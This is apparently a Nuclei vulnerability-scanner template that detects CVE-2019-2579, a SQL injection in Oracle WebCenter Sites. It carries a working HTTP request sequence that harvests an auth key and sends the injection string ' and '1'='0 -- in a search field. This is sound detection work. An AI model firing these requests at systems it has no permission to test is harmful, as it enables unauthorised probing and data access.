id: CVE-2019-2579

info:
  name: Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - SQL Injection
  author: leovalcante
  severity: medium
  description: The Oracle WebCenter Sites component of Oracle Fusion Middleware 12.2.1.3.0 is susceptible to SQL injection via an easily exploitable vulnerability that allows low privileged attackers with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle WebCenter Sites accessible data.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate the SQL Injection vulnerability.
  reference:
    - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites
    - https://github.com/Leovalcante/wcs_scanner
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2579
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2019-2579
    epss-score: 0.00493
    epss-percentile: 0.73488
    cpe: cpe:2.3:a:oracle:webcenter_sites:12.2.1.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: webcenter_sites
  tags: cve,cve2019,oracle,wcs,sqli

http:
  - raw:
      - |
        GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /cs/ContentServer HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _authkey_={{authkey}}&pagename=OpenMarket%2FXcelerate%2FAdmin%2FWebReferences&op=search&urlsToDelete=&resultsPerPage=25&searchChoice=webroot&searchText=%27+and+%271%27%3D%270+--+

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "value='' and '1'='0 --"
          - "Use this utility to view and manage URLs"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: authkey
        group: 1
        regex:
          - "NAME='_authkey_' VALUE='([0-9A-Z]+)'>"
        internal: true
        part: body
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